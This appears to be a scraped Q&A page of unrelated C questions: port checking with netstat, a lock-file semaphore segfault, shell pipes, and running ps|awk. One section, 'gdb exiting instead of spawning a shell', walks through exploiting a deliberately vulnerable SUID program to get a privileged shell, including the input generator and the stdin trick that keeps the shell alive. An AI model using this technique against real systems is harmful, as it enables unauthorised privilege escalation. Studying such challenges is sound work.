Program displaying "port opened/closed" - c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char command[100];
char portrange[100];
printf("Enter portrange (e.g.,20-30)");
scanf("%s", portrange);
int i=0, range1, range2;
sscanf(portrange, "%d-%d", &range1, &range2);
for(i=range1;i<=range2;i++)
{
sprintf(command, "netstat -aont | grep \"`hostname -i`:%d \" ", i);
printf("command= %d \n", command); //printing the command for testing purpose only
system(command);
//here
//here
printf("%d\n",i);
}
return 0;
}
The program filters out the lines from netstat -aont | grep "hostname -i:%d " where %d is successively replaced by the entered range of ports.
I want to add a if statement to display "port#%d is open" if port %d is opened if the command is successful or "port#%d is closed" if the command fails.
How can I achieve this inside the for loop?
N.B.: I used %d inside the for loop in port range checking. I know it is wrong but when I use %s it crashes with a core dump. Let’s ignore that for the moment.

The exit code of the pipeline command is the exit code of the last command in the pipeline. In your example, this is the exit code of grep. If grep succeeds, it exits with the value 0 otherwise it is different than 0.
system() returns the status of the command line passed as parameter. So, you need to store the status in a variable:
int status;
...
status = system(...);
You need to check the content of status with the WIFEXIT() & WEXITSTATUS(). The latter macro will extract the exit code from the status:
if (WIFEXITED(status)) {
int exit_code = WEXITSTATUS(status);
printf("Exit code is %d\n", exit_code);
// If exit_code is 0 ==> The grep succeeded
}

Related

Semaphore simulation program: Segmentation Fault error

I've written the following program, that simulates the work of semaphore. There are three functions: lock, unlock, lockpath.
lock = opens the file; checks if the file already exists, and if it does, puts the current process to sleep. If the file didn't exist, it is created and TRUE is returned.
unlock = deletes the file
lockpath = returns the path name corresponding to the file that might be created.
Here's the source code:
#include <unistd.h>
//exit();
#include <stdlib.h>
//errno
#include <errno.h>
//creat(..)
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
//strcat, strcpy
#include <string.h>
//For err_sys
#include <stdio.h>
#define LOCKDIR "/tmp/"
#define MAXTRY 3
#define WAITTIME 5
enum BOOLEAN{TRUE, FALSE};
void err_sys(const char* x) {
perror(x);
exit(1);
}
static char* lockpath(char* name) {
static char path[20];
strcpy(path, LOCKDIR);
return (strcat(path, name));
}
int lock(char* name) {
char *path;
int fd, incerc;
extern int errno;
path = lockpath(name);
int try = 0;
while ((fd = open(path, O_WRONLY | O_CREAT | O_EXCL, 0666)) < 0
&& errno == EEXIST) {
if (++try >= MAXTRY)
return FALSE;
sleep(WAITTIME);
}
if (fd < 0 || close(fd) < 0)
err_sys("lock");
return TRUE;
}
void unlock(char* name) {
if (unlink(lockpath(name)) < 0)
err_sys("unlock");
}
int main(void) {
pid_t child_process;
child_process = fork();
char* sem_file_name = "test_semaf";
if (child_process != 0)
{
printf("\nParent process ID: %d", getpid());
}
else
{
printf("\nChild process ID: %d", getpid());
}
if (lock(sem_file_name))
{
printf("\nProcess with ID: %d", getpid());
printf("\nonly, has access to %s", strcat(LOCKDIR, sem_file_name)); //****
unlock(sem_file_name);
} else {
printf("\nProcess with ID: %d", getpid());
printf("\nwas unable to get access to %s", strcat(LOCKDIR, sem_file_name));
}
return 0;
}
The line at which the program stops is marked with: ****
The error is:
Program received signal SIGSEGV, Segmentation fault.
__strcat_ssse3 () at ../sysdeps/x86_64/multiarch/strcat-ssse3.S:571
571 ../sysdeps/x86_64/multiarch/strcat-ssse3.S: No such file or directory.
The problem is that I get Segmentation Fault, and can't find where's the problem. To me, everything's fine. A process is supposed to create file X. Then, if another process tries to create it's own file X, it is not allowed; the process is put to sleep. This second process is allowed to make MAXTRY attempts. If it does not succeed after MAXTRY attempts, the lock() function returns FALSE. Finally, when a process, that has successfully created his own X file, doesn't need it now, the file X is deleted.
Can you, please, tell what do you think is the problem with this program? Thank you in advance.
EDIT :
Here's the link to the page that explains why lockpath() function isn't correct.
Is returning a pointer to a static local variable safe?
This is the cause of your crashes:
strcat(LOCKDIR, sem_file_name)
Here you try to append to a literal string constant.
You should use the lockpath function here as well.
The problem seems to be in your misunderstanding of strcat() function. The function appends string in second parameter to the string in first parameter - but you need to ensure there is enough space for the data. Read the man page.
That means that
char * dest = "whatever";
strcat(dest, anything_else);
is always wrong. What you want is
char dest[SIZE] = "whatever";
strcat(dest, anything_else);
where SIZE is big enough for the buffer to be able to contain the whole concatenated string.
Also, your lockpath() function is broken. See this answer to learn why. You need to create the dest buffer outside the lockpath() function and pass it to it as a parameter.

gdb exiting instead of spawning a shell

I am trying to exploit a SUID program.
The program is:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
And finally in gdb,
run < file
However instead of spawning a shell gdb is saying
process <some number> is executing new program /bin/dash
inferior 1 exited normally
And then back to gdb prompt instead of getting a shell.
I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.
Also if I pipe this outside of gdb, nothing happens.
./vulnProg < file
Bash prompt returns back.
Please tell me where am I making mistake.
You can see the problem by compiling a simpler test program
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
All this does is start a version of sed (rather than the shell) and converts input by prepending "XXX:".
If you run the resulting program, and type in the Terminal you get behaviour like this:
$./a.out
Hello
XXX:Hello
Test
XXX:Test
^D
Which is exactly as we'd expect.
Now if you feed it input from a file containing "Hello\nWorld" you get
$./a.out < file
XXX:Hello
XXX:World
$
And the application exits immediately, with the input stream to the application being closed when the input file has all been read.
If you want to provide additional input, you need to use a trick to not break the input stream.
{ cat file ; cat - ; } | ./a.out
This will put all the input from file into a running ./a.out and then
read from stdin and add that too.
$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test

While loop hangs program after valid input is entered?

I have been stuck with this problem on and off since last night and I'm hoping a second fresh pair of eyes will help.
The problem, if an invalid input is entered in the userIn function (anything that isn't a number between 1-99) the test printf at the end of the while loop in main prints "ERR = 1", the while loops and userIn is called again. So far so good, but when a valid input is entered the test printf at the end of the while loop prints "ERR = 0" and then the program hangs. The test printf saying "HELLO" never gets printed.
Any suggestions as to why are most welcome.
The code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void userIn (int *x)
{
char b;
printf("Please enter a new value for Vm: ");
scanf(" %i",x);
while (((b=getchar())!='\n')&&(b!=EOF));
return;
}
int main (void)
{
int fd, x, err;
char *npipe = "/tmp/fms",
input[3];
struct stat info;
printf("\n");
//get user input
err = 1;
while (err)
{
userIn(&x);
if (x > 0 && x < 100) err = 0;
//else printf("\033[1A\033[K");
printf("ERR = %i\n",err);//TEST PRINTF
}
printf("HELLO");//TEST PRINTF
//if pipe exists
if ( (!lstat(npipe,&info)) && (S_ISFIFO(info.st_mode)) )
{
sprintf(input,"%i",x);
//write user input to named pipe created by 'parent.c'
fd = open(npipe, O_WRONLY);
write(fd, input, sizeof(input));
close(fd);
}
else printf("\033[0;31mNamed pipe doesn't exist, %i not passed.\n\n\033[0m",x);
return 0;
}
Contrary to your intuition, the program freezes somewhere after the printf("HELLO"); line. Since you don't have a newline in that printf, HELLO gets buffered up and is not flushed to the terminal immediately.
Is there a process reading from the other end of that pipe of yours?
If I run your code on my system the output looks like this:
Please enter a new value for Vm: 101
ERR = 1
Please enter a new value for Vm: 1
ERR = 0
HELLONamed pipe doesn't exist, 1 not passed.
That is, the loop exits exactly when you think it should. Of course, the code then exits immediately because /tmp/fms does not exist on my system.
However, if I create /tmp/fms, then I see:
Please enter a new value for Vm: 1
ERR = 0
...and no additional output. This is because the output from the printf statement is buffered, and the write to the named pipe is blocking, so the output never gets flushed. Adding a \n to your printf will probably display it as you expect.

Implementing Pipes in a C shell (Unix)

Basically I have created a shell using standard POSIX commands, I want to be able to Implement Piping as well. Right now it handles commands correctly, and can do background processing with &. But I need to be able to pipe using | and >> as well.
For example something like this:
cat file1 file2 >> file3
cat file1 file2 | more
more file1 | grep stuff
Here is the code I have currently. I also want to AVOID "SYSTEM" calls. I know U need to use dup2, but the way I did my code is a bit odd, so im hoping if someone can tell me if it is feasible to implement pipes in this code? thanks! I know dup2 is used, but also im def. confused at how to implement >> as WELL as |
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <string>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
using namespace std;
void Execute(char* command[],bool BG)
{
//Int Status is Used Purely for the waitpid, fork() is set up like normal.
int status;
pid_t pid = fork();
switch(pid)
{
case 0:
execvp(command[0], command);
if(execvp(command[0], command) == -1)
{
cout << "Command Not Found" << endl;
exit(0);
}
default:
if(BG == 0)
{
waitpid(pid, &status, 0);
//Debug cout << "DEBUG:Child Finished" << endl;
}
}
}
bool ParseArg(char* prompt, char* command[], char Readin[],bool BG)
{
fprintf(stderr, "myshell>");
cin.getline(Readin,50);
prompt = strtok(Readin, " ");
int i = 0;
while(prompt != NULL)
{
command[i] = prompt;
if(strcmp(command[i], "&") == 0){
//Debug cout << "& found";
command[i] = NULL;
return true;
}
//Debug cout << command[i] << " ";
i++;
prompt = strtok(NULL, " ");
}
return false;
}
void Clean(char* command[])
{
//Clean Array
for(int a=0; a < 50; a++)
{
command[a] = NULL;
}
}
int main()
{
char* prompt;
char* command[50];
char Readin[50];
bool BG = false;
while(command[0] != NULL)
{
Clean(command);
BG = ParseArg(prompt, command, Readin, BG);
if(strcmp(command[0], "exit") == 0 || strcmp(command[0], "quit") == 0 )
{
break;
}
else
{
Execute(command,BG);
}
}
return 1;
}
Pipes and redirections are different, actually. To implement a redirection (such as >>) you have to use dup2 indeed. First, open the desired file with appropriate flags (for >> they'll be O_WRONLY|O_CREAT|O_APPEND). Second, using dup2, make stdout (file descriptor 1) a copy of this newly opened fd. Finally, close newly opened fd.
To create a pipe, you'll need a pipe syscall. Read its manpage, it contains example code. Then you'll also need dup2 to make file descriptors returned by pipe be stdin for one process and stdout for another, respectively.
You should be able to implement pipes and output redirection with your shell, but there are a few things I noticed:
Your code for reading input, parsing, and output are mixed together, you may want to separate this functionality.
strtok won't work very well as a parser for shell commands. It will work for very simple commands, but you may want to look into creating or finding a better parser. A command like echo "hello world" will be problematic with your current parsing method.
You may want to create a simple structure for holding your parsed commands.
Here is some pseudocode to get you started:
#define MAX_LINE 10000
#define MAX_COMMANDS 100
#define MAX_ARGS 100
// Struct to contain parsed input
struct command
{
// Change these with IO redirection
FILE *input; // Should default to STDIN
FILE *output; // Should default to STDOUT
int num_commands;
int num_args[MAX_COMMANDS]; // Number of args for each command
char* command_list[MAX_COMMANDS]; // Contains the programs to be run
char* args_list[MAX_COMMANDS][MAX_ARGS]; // The args for each command
boolean background_task;
boolean append;
}
int main()
{
char input[MAX_LINE];
while (1)
{
struct command cmd;
print_prompt();
read_input(input);
parse_input(input, &cmd);
execute(&cmd);
}
}
Good luck with this project!

C, pass AWK syntax as argument to execl

I want to run the following command from a C program to read the system's CPU and memory use:
ps aux|awk 'NR > 0 { cpu +=$3; ram+=$4 }; END {print cpu,ram}'
I am trying to pass it to the execl command and after that read its output:
execl("/bin/ps", "/bin/ps", "aux|awk", "'NR > 0 { cpu +=$3; ram+=$4 }; END {print cpu,ram}'",(char *) 0);
But in the terminal I am getting the following error:
ERROR: Unsupported option (BSD syntax)
I would like to know how to properly pass awk as argument to execl?
You can't do this here this way.
The problem is that you want to execute several commands. execl is for executing a single command. The statement you have is using shell syntax (notably the | )
You will have better luck combining it all up in a single string and using the system(3) call.
Instead of running awk and parsing awk's output, you can do the filtering and summation in C, which often can quickly become much more convenient. (It's about the same for the exact command you have here.)
#include <errno.h>
#include <stdio.h>
void ps_cpumem(FILE* f, double* cpu_total, double* mem_total) {
for (;;) {
char buf[2000];
if (!fgets(buf, sizeof buf, f)) {
return;
}
double cpu, mem;
if (sscanf(buf, "%*s %*s %lf %lf", &cpu, &mem) == 2) {
*cpu_total += cpu;
*mem_total += mem;
}
}
}
int main() {
errno = 0;
FILE* ps = popen("ps aux", "r");
if (!ps) {
if (errno == 0) puts("popen: memory allocation failed");
else perror("popen");
return 1;
}
double cpu = 0, mem = 0;
ps_cpumem(ps, &cpu, &mem);
int rc = pclose(ps);
if (rc == -1) return 1;
printf("%%cpu: %5.1f\n" "%%mem: %5.1f\n", cpu, mem);
return 0;
}
However, you can run the full command through popen, as it executes a shell:
FILE* output = popen("ps aux | awk 'NR > 0 { cpu +=$3; ram+=$4 }; END {print cpu,ram}'", "r");
// read from output to do with as you like
As Will suggested, popen() is what you want for capturing output for subsequent use inside your program. However, if you truly are wanting to do an exec operation, you can use the shell to do your bidding via execl():
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
printf("%s: execl returned unexpectedly: %d", argv[0],
execl("/bin/sh", "/bin/sh", "-c",
"ps aux | awk 'NR >0 { cpu += $3; ram+=$4}; END {print cpu, ram}'",
NULL));
exit(1);
}

Resources